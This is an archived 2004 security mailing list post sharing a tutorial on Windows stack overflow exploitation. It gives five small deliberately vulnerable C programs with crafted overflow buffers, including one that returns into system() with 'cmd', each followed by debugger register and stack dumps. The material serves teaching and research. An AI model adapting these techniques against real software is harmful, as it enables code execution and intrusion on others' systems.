Dailydave mailing list archives
anonymized stack overflow paper
From: Dave Aitel <dave () immunitysec com>
Date: Sat, 31 Jan 2004 19:29:26 -0500
begin anonymized content
Wassup peeps...
Companion to the heap exploitation paper... Nothing serious in this one
just some fun...
----------------------------------------------------------------------
+ Windows Stack Overflow Exploitation
----------------------------------------------------------------------
This is not a 'complete' guide to windows stack overflows.
It includes sample code and technical details on how to exploit stack
overflows through different ways.
----------------------------------------------------------------------
+ Example - Double ret
----------------------------------------------------------------------
/*
Stack based overflows
Double return technique
compile for release
*/
void doit(char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("strcpy\n");
//_asm int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
char buf[100];
printf("+ Stack based overflow\n+ Double return\n");
memset(buf,0x0,sizeof(buf));
// The double return
memset(buf,0xcc,12); // 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\x3e\x10\x40\x00"); // SET EIP to ret 0x0040103e
doit(buf);
printf("+ done\n");
return 0;
}
----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.
- Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
When execution reaches the ret statement things now look like this.
- Registers
EAX = 00000014 EBX = 00000004
ECX = 00000000 EDX = 0012FEF8
ESI = 00406044 EDI = 0012FF34
EIP = 0040103E ESP = 0012FF08
EBP = 64646464 EFL = 00000246
-Stack Dump
0012FF08 0040103E 0012FF20
0012FF10 00406050 00000000
- Code Segment
0040103E ret
Our return address of 0x40103e will be popped off the stack and
execution will continue with another ret command. At this time
the stack will look like this.
-Stack Dump
0012FF0C 0012FF20 00406050
0012FF14 00000000 00000000
The stack now holds the address of a buffer with our data, and by
returning to it execution flow is passed back us.
-Data Dump 0x0012FF20
0012FF20 CCCCCCCC CCCCCCCC
0012FF28 CCCCCCCC 64646464
0012FF30 0040103E 00000000
----------------------------------------------------------------------
+ Example - Double ret/pop
----------------------------------------------------------------------
/*
Stack based overflow
Double return pop stack first
compile for release
*/
void doit(int flag,char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ strcpy\n");
//_asm int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
char buf[100];
printf("+ Stack based overflow\n+ Double return/pop\n");
memset(buf,0x0,sizeof(buf));
memset(buf,0xCC,12); // 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\x3d\x10\x40\x00"); // SET EIP to 0040103D
doit(1,buf);
printf("+done\n");
return 0;
}
----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.
- Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
When execution reaches the ret statement things now look like this.
- Registers
EAX = 00000014 EBX = 00000004
ECX = 00000000 EDX = 0012FEF4
ESI = 00406048 EDI = 0012FF34
EIP = 0040103E ESP = 0012FF04
EBP = 64646464 EFL = 00000246
-Stack Dump
0012FF04 0040103D 00000001
0012FF0C 0012FF20 00406054
0012FF14 00000000 00000000
0012FF1C 7FFDF000 CCCCCCCC
0012FF24 CCCCCCCC CCCCCCCC
0012FF2C 64646464 0040103D
- Code Segment
0040103E ret
Our return address of 0x40103D will be popped off the stack and
execution will continue with a pop and then another ret command.
At this time the stack will look like this.
-Stack Dump
0012FF0C 0012FF20 00406054
0012FF14 00000000 00000000
0012FF1C 7FFDF000 CCCCCCCC
0012FF24 CCCCCCCC CCCCCCCC
0012FF2C 64646464 0040103D
The stack now holds the address of a buffer with our data, and by
returning to it execution flow is passed back us.
-Data Dump 0x0012FF20
0012FF20 CC CC CC CC CC ÌÌÌÌÌ
0012FF25 CC CC CC CC CC ÌÌÌÌÌ
0012FF2A CC CC 64 64 64 ÌÌddd
0012FF2F 64 3D 10 40 00 d=.@.
----------------------------------------------------------------------
+ Example - SET EBP / Return to heap
----------------------------------------------------------------------
/*
Stack based overflow
SET EBP / Return to heap
compile for release
*/
void doit(char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ strcpy\n");
//_asm int 3;
_asm nop;
strcpy(smallbuf,buf);
}
char* a;
int main(int argc,char *argv[])
{
char buf[100];
printf("+ Stack based overflow\n+ Using EBP\n");
_asm int 3;
//_asm nop;
a = malloc(5000);
memset(buf,0x0,sizeof(buf));
memset(buf,0xcc,12); // 12 bytes
strcat(buf,"\xa0\x6a\x40"); // SET 3 bytes of EBP to 0x406aa4 - 4
strcpy(a,buf); // Put our buffer somewhere
doit(buf);
printf("+ done\n");
return 0;
}
----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.
- Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
When execution reaches the pop ebp statement things now look like this.
- Registers
EAX = 00000010 EBX = 00000004
ECX = 00000000 EDX = 0012FEF0
ESI = 0012FF2C EDI = 002F61C8
EIP = 0040103D ESP = 0012FEFC
-Stack Dump
0012FEFC 00406AA0 004010D4
0012FF04 0012FF1C 00001388
0012FF0C 00406048 00000000
0012FF14 00000000 7FFDF000
0012FF1C CCCCCCCC CCCCCCCC
0012FF24 CCCCCCCC 00406AA0
- Code Segment
0040103D pop ebp
0040103E ret
Our address of 0x406AA0 will be popped off the stack into EBP.
Execution will then continue as normal because we have not overwritten
more of the stack, affecting ESP.
We have set EBP to the local address holding the address of the heap where
our data is stored, -4 to compensate for a later pop instruction.
-Data Dump 0x00406AA0
00406AA0 00000001 002F61B8
00406AA8 000004E4 00000000
00406AB0 00000000 00000000
-Data Dump 0x002F61B8
002F61B8 CC CC CC CC CC ÌÌÌÌÌ
002F61BD CC CC CC CC CC ÌÌÌÌÌ
002F61C2 CC CC A0 6A 40 ÌÌ j@
Execution flow continues as normal untill it reaches this segment.
-Code Segment
004010E6 mov esp,ebp
004010E8 pop ebp
004010E9 ret
At this point ESP is set to our EBP value, a new EBP is popped and then
a return address is popped.
-Stack Dump
00406AA0 00000001 002F61B8
00406AA8 000004E4 00000000
The address of the heap will be popped from the stack,and execution flow
is passed back us.
-Data Dump 0x002F61B8
002F61B8 CC CC CC CC CC ÌÌÌÌÌ
002F61BD CC CC CC CC CC ÌÌÌÌÌ
002F61C2 CC CC A0 6A 40 ÌÌ j@
----------------------------------------------------------------------
+ Example - Return into system()
----------------------------------------------------------------------
/*
Stack based overflow
Return to lib-c SYSTEM()
compile for release
*/
#pragma comment (lib,"msvcrt")
void doit(int flag,char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ Executing strcpy()\n");
//_asm int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
char buf[100];
printf("+ Stack based overflow\n+ Return to system()\n");
memset(buf,0x0,sizeof(buf));
strcpy(buf,"cmd "); // 12 bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\xbf\x8e\x01\x78"); // Return Address Set To system()
doit(12,buf);
printf("+ done\n");
return 0;
}
----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.
- Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
When execution reaches the ret statement things now look like this.
- Registers
EAX = 00000015 EBX = 00000005
ECX = 00000000 EDX = 0012FEC0
ESI = 00403035 EDI = 0012FF01
EIP = 0040103E ESP = 0012FED0
EBP = 64646464 EFL = 00000202
-Stack Dump
0012FED0 78018EBF 00000000
0012FED8 0012FEEC 00403050
0012FEE0 00000000 00000000
- Code Segment
0040103E ret
Our return address of 0x78018ebf (system) will be popped off the stack
and execution will flow directly into the system() call. At this time
the stack will look like this.
-Stack Dump
0012FED4 00000000 0012FEEC
0012FEDC 00403050 00000000
At this time the stack holds the function return address (0x00000000)
and the offset of the string to pass to the system function (0x0012feec)
-Data Dump 0x0012feec
0012FEEC 63 6D 64 20 20 cmd
0012FEF1 20 20 20 20 20
0012FEF6 20 20 64 64 64 ddd
0012FEFB 64 BF 8E 01 78
----------------------------------------------------------------------
+ Example - Return into SetUnhandledExceptionFilter()
----------------------------------------------------------------------
/*
Stack based overflow
Return to lib-c SetUnhandledExceptionFilter
compile for release. debug with softice and i3here on
*/
#include <windows.h>
void doit(int flag,char* buf)
{
char smallbuf[10];
memset(smallbuf,0x0,sizeof(smallbuf));
printf("+ strcpy\n");
//_asm int 3;
_asm nop;
strcpy(smallbuf,buf);
}
int main(int argc,char *argv[])
{
char buf[100];
printf("+ Stack based overflow\n+ Return to
SetUnhandledExceptionFilter()\n");
memset(buf,0x0,sizeof(buf));
memset(buf,0xcc,12); // 12 Bytes
strcat(buf,"\x64\x64\x64\x64"); // SET EBP
strcat(buf,"\xa3\xba\x59\x7c"); // SET EIP
strcat(buf,"\x62\x62\x62"); // SET 2nd EIP to cause exception
doit(12,buf);
printf("+ done\n");
return 0;
}
----------------------------------------------------------------------
* Analysis
----------------------------------------------------------------------
After the call to strcpy code execution reaches this point.
- Code Segment
00401039 pop edi
0040103A pop esi
0040103B mov esp,ebp
0040103D pop ebp
0040103E ret
When execution reaches the ret statement things now look like this.
- Registers
EAX = 00000018 EBX = 00000004
ECX = 00000000 EDX = 0012FEF4
ESI = 00406048 EDI = 0012FF38
EIP = 0040103E ESP = 0012FF04
EBP = 64646464 EFL = 00000246
-Stack Dump
0012FF04 7C59BAA3 00626262
0012FF0C 0012FF20 00406058
0012FF14 00000000 00000000
0012FF1C 7FFDF000 CCCCCCCC
0012FF24 CCCCCCCC CCCCCCCC
0012FF2C 64646464 7C59BAA3
- Code Segment
0040103E ret
Our return address of 0x7C59BAA3 (SetUnhandled..) will be popped off the
stack
and execution will flow directly into the call. At this time the stack will
look
like this.
-Stack Dump
0012FF08 00626262 0012FF20
0012FF10 00406058 00000000
0012FF18 00000000 7FFDF000
0012FF20 CCCCCCCC CCCCCCCC
0012FF28 CCCCCCCC 64646464
0012FF30 7C59BAA3 00626262
At this time the stack holds the function return address (0x00626262)
and the offset of the string to pass to the system function (0x0012FF20)
-Data Dump 0x0012FF20
0012FF20 CC CC CC CC CC ÌÌÌÌÌ
0012FF25 CC CC CC CC CC ÌÌÌÌÌ
0012FF2A CC CC 64 64 64 ÌÌddd
0012FF2F 64 A3 BA 59 7C d£ºY|
0012FF34 62 62 62 00 00 bbb..
INC, IAC
end anonymized content
_______________________________________________
Dailydave mailing list
Dailydave () lists immunitysec com
http://www.immunitysec.com/mailman/listinfo/dailydave
Current thread:
- anonymized stack overflow paper Dave Aitel (Jan 31)
